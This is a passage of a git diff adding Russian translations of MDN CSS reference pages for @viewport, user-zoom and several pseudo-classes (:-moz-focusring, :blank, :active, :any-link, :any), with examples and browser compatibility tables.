+ <dd>Сокращенный дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt>
+ <dd>Используется при определении высоты видового экрана при первом отображении документа.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt>
+ <dd>Используется при определении высоты видового экрана при первом отображении документа.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt>
+ <dd>Сокращенный дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt>
+ <dd>Устанавливает начальный коэффициент масштабирования.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt>
+ <dd>Устанавливает минимальный коэффициент масштабирования.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-zoom"><code>max-zoom</code></a></dt>
+ <dd>Устанавливает максимальный коэффициент масштабирования.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/user-zoom"><code>user-zoom</code></a></dt>
+ <dd>Управляет тем, должен ли пользователь иметь возможность изменять коэффициент масштабирования.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/orientation"><code>orientation</code></a></dt>
+ <dt>Управляет ориентацией документа.</dt>
+ <dd></dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример:</h2>
+
+<pre class="eval" style="font-size: 14px;">@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+@viewport {
+  orientation: landscape;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация:</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами:</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>29 (behind a flag) [4]</td>
+   <td>{{CompatNo()}} [2]</td>
+   <td>10 {{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}} [3]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>29</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>10{{property_prefix("-ms")}}[1]</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}} [3]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] существует ошибка в IE Mobile 10 и на более старых версиях Windows Phone 8, где<code>device-width</code>, при использовании внутри <code>@-ms-viewport</code>, оценивает ширину экрана в физических пикселях, а не в нормализованных CSS-пикселях, что неверно в соответствии со спецификацией. Однако, при использовании в<code>viewport</code> {{HTMLElement("meta")}} тэг, <code>device-width</code> оценивает правильно. По данным Microsoft, эта ошибка была исправлена в <a href="http://blogs.windows.com/windows_phone/b/wpdev/archive/2013/10/14/introducing-windows-phone-preview-for-developers.aspx">Windows Phone 8 Update 3 (a.k.a. GDR3)</a>, хотя есть некоторые сообщения о том, что <a href="http://www.nokia.com/us-en/windows-phone-black-update/">Lumia Black</a> Обновление GDR3 не исправило ошибку (по крайней мере, на Lumia 920). Для получения более подробной информации и обходного пути, <a href="http://timkadlec.com/2013/01/windows-phone-8-and-device-width/">see Tim Kadlec's blog post "Windows Phone 8 and Device-Width"</a>.</p>
+
+<p>[2]: See {{bug(747754, 'summary')}}</p>
+
+<p>[3]: See {{webkitbug(95959)}}</p>
+
+<p>[4]: See <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=235457">Chromium issue #235457: Enable @viewport on all platforms</a></p>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>{{HTMLElement("meta")}}, specifically <code>&lt;meta name="viewport"&gt;</code></li>
+ <li><a href="/en-US/docs/Mobile/Viewport_meta_tag">Using the viewport meta tag to control layout on mobile browsers</a></li>
+</ul>
diff --git a/files/ru/web/css/@viewport/user-zoom/index.html b/files/ru/web/css/@viewport/user-zoom/index.html
new file mode 100644
index 0000000000..5da0d1ec96
--- /dev/null
+++ b/files/ru/web/css/@viewport/user-zoom/index.html
@@ -0,0 +1,105 @@
+---
+title: user-zoom
+slug: Web/CSS/@viewport/user-zoom
+translation_of: Web/CSS/@viewport
+---
+<div>{{ CSSRef }}</div>
+
+<h2 id="Summary" name="Summary">Введение</h2>
+
+<p>The <code>user-zoom</code> <a href="/en-US/docs/Web/CSS">CSS</a> descriptor controls whether or not the user should be able to change the zoom factor of a document defined by {{cssxref("@viewport")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* Keyword values */
+user-zoom: zoom;
+user-zoom: fixed;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>zoom</code></dt>
+ <dd>The user can zoom in or out.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>The user cannot zoom in or out.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецфикации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецфикации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-lsquouser-zoomrsquo-descriptor', '"user-zoom" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/css/_colon_-moz-focusring/index.html b/files/ru/web/css/_colon_-moz-focusring/index.html
new file mode 100644
index 0000000000..02c26e1b68
--- /dev/null
+++ b/files/ru/web/css/_colon_-moz-focusring/index.html
@@ -0,0 +1,94 @@
+---
+title: ':-moz-focusring'
+slug: 'Web/CSS/:-moz-focusring'
+tags:
+  - Фокус
+  - псевдокласс
+translation_of: 'Web/CSS/:-moz-focusring'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Псевдокласс <strong>:-moz-focusring</strong> является расширением браузера Mozilla, которое подобно псевдоклассу {{cssxref (":focus")}}, но взаимодействует только с элементом при наличии у него фокуса. При этом рамка фокуса или другой индикатор располагается вокруг элемента.</p>
+
+<p>Если :-moz-focusring распознается конкретной платформой, то и <strong>:focus</strong> тоже. Однако обратное не всегда верно и зависит от того, активированы ли пользовательские настройки для отрисовки фокуса и как именно действует фокус по отношению к этому элементу. Независимо от того, имеют ли место пользовательские настройки отрисовки фокуса, многое также зависит от настроек операционной системы и других факторов. В связи с этим точное поведение этого псевдокласса может варьироваться от платформы к платформе.</p>
+
+<blockquote>
+<p><strong>Примечание.</strong> Разработчики склонны использовать псевдокласс      <strong>:-moz-focusring</strong> для различия между состояниями фокуса, когда пользователь активирует фокусировку с помощью мыши и клавиатуры. Это также потенциально полезно при создании пользовательского элемента с последующим намерением изменить его стиль на основе его поведения.</p>
+</blockquote>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">:-moz-focusring</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Для определения внешнего вида элемента во время фокусировки на нем можно использовать этот псевдоселектор следующим образом:</p>
+
+<pre class="brush: css">mybutton:-moz-focusring {
+  outline: 2px dotted;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Этот псевдокласс пока еще не определен ни в одной спецификации, хотя и прошел этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.</p>
+
+<h2 id="Совметимость_с_браузерами">Совметимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{bug("418521")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_-moz-only-whitespace/index.html b/files/ru/web/css/_colon_-moz-only-whitespace/index.html
new file mode 100644
index 0000000000..af4a49d63a
--- /dev/null
+++ b/files/ru/web/css/_colon_-moz-only-whitespace/index.html
@@ -0,0 +1,90 @@
+---
+title: ':blank'
+slug: 'Web/CSS/:-moz-only-whitespace'
+tags:
+  - ':blank'
+  - CSS
+  - Псевдо-класс
+  - Экспериментальное
+  - селектор
+translation_of: 'Web/CSS/:-moz-only-whitespace'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS псевдо класс</a>  <strong><code>:blank</code></strong> находит элементы, у которых либо вообще нет дочерних узлов, либо только пустые текстовые узлы, либо только текстовые узлы, содержащие только пробельные символы.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html;">&lt;div&gt; &lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<div class="hidden">
+<pre class="brush: css;">:root {
+  overflow: hidden;
+  max-width: 100vw;
+  max-height: 100vh;
+}
+
+div {
+  background-color: #ccc;
+  box-sizing: border-box;
+  height: 100vh;
+  min-height: 16px;
+  min-height: 1rem;
+}
+
+:-moz-only-whitespace {
+  border-color: lime;
+}</pre>
+</div>
+
+<pre class="brush: css;">div {
+  border: 4px solid red;
+}
+
+:blank {
+  border-color: lime;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", "50")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Определен впервые</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите содействовать в пополнении данных, пройдите по ссылке <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("css.selectors.blank")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{CSSxRef(":empty")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_active/index.html b/files/ru/web/css/_colon_active/index.html
new file mode 100644
index 0000000000..f5915b631f
--- /dev/null
+++ b/files/ru/web/css/_colon_active/index.html
@@ -0,0 +1,120 @@
+---
+title: ':active'
+slug: 'Web/CSS/:active'
+tags:
+  - Псевдоклассы
+translation_of: 'Web/CSS/:active'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">Псевдокласс</a> <strong><code>:active</code></strong> соответствует элементу в момент, когда он активируется пользователем. Он позволяет странице среагировать, когда элемент активируется. Взаимодействие элемента с мышью - это, как правило, время между нажатием и отпусканием пользователем кнопки мыши.</p>
+
+<pre class="brush: css">/*  Любой элемент &lt;a&gt;, который будет активирован */
+a:active {
+  color: red;
+}</pre>
+
+<p>Также псевдокласс <code>:active</code> срабатывает при использовании клавиши TAB на клавиатуре. Обычно это используется для HTML-элементов {{HTMLElement("a")}} и {{HTMLElement("button")}}, но может применяться и к другим элементам.</p>
+
+<p>Это свойство может быть переопределено любыми другими псевдоклассами, относящимся к ссылке, такими как <span style="line-height: 1.5;">{{cssxref(":link")}}, {{cssxref(":hover")}} и {{cssxref(":visited")}}, описанными в последующих правилах. Чтобы стилизировать нужные ссылки, вам нужно ставить правило </span><code style="font-style: normal; line-height: 1.5;">:active</code><span style="line-height: 1.5;"> после всех других правил, относящихся к ссылке, как определено правилом </span><em>LVHA-порядком</em><span style="line-height: 1.5;">: </span><code style="font-style: normal; line-height: 1.5;">:link</code><span style="line-height: 1.5;"> — </span><code style="font-style: normal; line-height: 1.5;">:visited</code><span style="line-height: 1.5;"> — </span><code style="font-style: normal; line-height: 1.5;">:hover</code><span style="line-height: 1.5;"> — </span><code style="font-style: normal; line-height: 1.5;">:active</code><span style="line-height: 1.5;">.</span></p>
+
+<div class="note"><strong>Примечание:</strong> В системах с много-кнопочными мышами, CSS 3 указывает, что псевдокласс <code>:active</code> должен применяться только к первой кнопке; для праворуких мышей - это обычно самая левая кнопка.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="Активные_ссылки">Активные ссылки</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Этот абзац содержит ссылку:
+&lt;a href="#"&gt;Эта ссылка будет окрашена в красный, когда вы нажмёте на неё.&lt;/a&gt;
+У абзаца фон станет серым при нажатии на него или на ссылку. &lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a:link { color: blue; }          /* Непосещённые ссылки */
+a:visited { color: purple; }     /* Посещённые ссылки */
+a:hover { background: yellow; }  /* Ссылки при наведении */
+a:active { color: red; }         /* Активные ссылки */
+
+p:active { background: #eee; }   /* Активные абзацы */</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Активные_ссылки')}}</p>
+
+<h3 id="Активные_элементы_формы">Активные элементы формы</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="my-button"&gt;Моя кнопка: &lt;/label&gt;
+  &lt;button id="my-button" type="button"&gt;Попробуй Нажать Меня или Мою подсказку!&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">form :active {
+  color: red;
+}
+
+form button {
+  background: white;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('Активные_элементы_формы')}}</p>
+
+<h2 id="Спецификации"><span>Спецификации</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("css.selectors.active")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Псевдоклассы, связанные с ссылками: {{cssxref(":link")}}, {{cssxref(":visited")}} и {{cssxref(":hover")}}.</li>
+</ul>
diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html
new file mode 100644
index 0000000000..f54ff3c46b
--- /dev/null
+++ b/files/ru/web/css/_colon_any-link/index.html
@@ -0,0 +1,93 @@
+---
+title: ':any-link'
+slug: 'Web/CSS/:any-link'
+tags:
+  - ':any-link'
+  - CSS
+  - Web
+  - Верстка
+  - Гиперссылки
+  - Справка
+  - Ссылки
+  - Экспериментальное
+  - псевдокласс
+  - селектор
+translation_of: 'Web/CSS/:any-link'
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p>Селектор <a href="/en-US/docs/Web/CSS/Pseudo-classes">псевдокласса</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:any-link</code></strong> представляет собой элемент, который действует как исходный якорь гиперссылки, независимо от того, была ли она посещена. Другими словами, он соответствует всем элементам {{HTMLElement("a")}}, {{HTMLElement("area")}}, или {{HTMLElement("link")}}, которые имеют атрибут <code>href</code>. Таким образом, он соответствует всем элементам, которые используют {{cssxref(":link")}} или {{cssxref(":visited")}}.</p>
+
+<pre class="brush: css no-line-numbers  language-css notranslate"><code class="language-css"><span class="selector token"><span class="pseudo-class token">/* Выбирает любой элемент, который будет соответствовать:link или :visited */
+:any-link</span> </span><span class="punctuation token">{</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> green<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;a href="https://example.com"&gt;External link&lt;/a&gt;&lt;br&gt;
+&lt;a href="#"&gt;Internal target link&lt;/a&gt;&lt;br&gt;
+&lt;a&gt;Placeholder link (won't get styled)&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">a:any-link {
+  border: 1px solid blue;
+  color: orange;
+}
+
+/* WebKit browsers */
+a:-webkit-any-link {
+  border: 1px solid blue;
+  color: orange;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-any-link-pseudo", ":any-link")}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.selectors.any-link")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Создание гиперссылок</a></li>
+ <li>Cоответствует HTML элементам: <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/a">&lt;a&gt;</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/area">&lt;area&gt;</a></code> и <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/link">&lt;link&gt;</a></code> с атрибутом {{htmlattrxref("href", "a")}}</li>
+ <li>Похожие CSS селекторы:
+  <ul>
+   <li><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/:visited">:visited</a></code></li>
+   <li><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/:link">:link</a></code></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/css/_colon_any/index.html b/files/ru/web/css/_colon_any/index.html
new file mode 100644
index 0000000000..875677e274
--- /dev/null
+++ b/files/ru/web/css/_colon_any/index.html
@@ -0,0 +1,189 @@
+---
+title: ':any'
+slug: 'Web/CSS/:any'
+tags:
+  - CSS
+  - Experimental
+  - Псевдоклассы
+  - Руководство
+  - Экспериментальное
+translation_of: 'Web/CSS/:is'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p><a href="/ru/docs/Web/CSS/Псевдо-классы" title="CSS/Pseudo-classes">Псевдокласс</a> <code>:any()</code> дает возможность быстрого конструирования наборов похожих селекторов путем составления групп, в которых каждый из входящих элементов будет комбинироваться с элементами из других групп. Это альтернатива для прописывания комбинаций селекторов для одного элемента, который может находится в разных родителях.</p>
+
+<div class="note"><strong>Замечание: </strong>Этот псевдо-класс все еще находится в процессе стандартизации в <a class="external" href="http://dev.w3.org/csswg/selectors4/#matches" title="http://dev.w3.org/csswg/selectors4/#matches"><em>CSS селекторах уровня 4</em></a> под именем <code>:matches()</code>. Вполне вероятно, что синтаксис и имя <code>:-<em>vendor</em>-any() </code>будут изменены в ближайшем будущем, чтобы соответствовать спецификации.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">:-moz-any( <em>selector</em>[, <em>selector</em>]* ) :-webkit-any( selector[, selector]* )</pre>
+
+<h3 id="Values" name="Values">Параметры</h3>
+
+<dl>
+ <dt><code>selector</code></dt>
+ <dd>Селектор. Это может быть просто селектор или несколько селекторов, состоящих из <a class="external" href="http://www.w3.org/TR/css3-selectors/#simple-selectors" title="http://www.w3.org/TR/css3-selectors/#simple-selectors">CSS 3 простых селекторов</a> и может включать комбинацию потомков.</dd>
+</dl>
+
+<div class="note"><strong>Замечание:</strong> Селекторы <strong>не</strong> могут содержать псевдо-элементы, допускается только комбинирование потомков.</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Например, следующий CSS:</p>
+
+<pre class="brush: css">/* на глубине 3 (или больше) неупорядоченные списки используют square */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+</pre>
+
+<p>Может быть записано, как:</p>
+
+<pre class="brush: css">/* на глубине 3 (или больше) неупорядоченные списки используют square */
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}</pre>
+
+<p>Однако, не нужно использовать это так: (Смотрите <a href="#Issues_with_performance_and_specificity">раздел о производительности</a> ниже.)</p>
+
+<pre class="brush: css">:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
+  list-style-type: square;
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Особенно полезен при работе с <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">разделами и заголовками</a> в HTML5 . Теги {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут быть вложенными, без <code>:any()</code> стилизация их соответствия друг другу может быть сложной.</p>
+
+<p>Например, без <code>:any()</code>, стилизация всех элементов {{HTMLElement("h1")}} на разной глубине будет очень сложна:</p>
+
+<pre class="brush: css">/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1, {
+  font-size: 20px;
+}
+/* Уровень 3 */
+/* ... даже не думайте о нём*/
+</pre>
+
+<p>При использовании <code>:-any()</code>, это становится намного проще:</p>
+
+<pre class="brush: css">/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+/* Уровень 3 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}</pre>
+
+<h3 id="Issues_with_performance_and_specificity" name="Issues_with_performance_and_specificity">Проблемы с производительностью и особенности</h3>
+
+<p>{{ bug("561154") }} в Gecko, где специфика <code>:-moz-any()</code> не корректна. Текущая реализация (как в Firefox 12) ставит <code>:-moz-any()</code> в категорию универсальных правил, что означает, что использование его в качестве селектора справа будет медленнее, чем использование селекторов по ID, классу, или тегу.</p>
+
+<p>Например:</p>
+
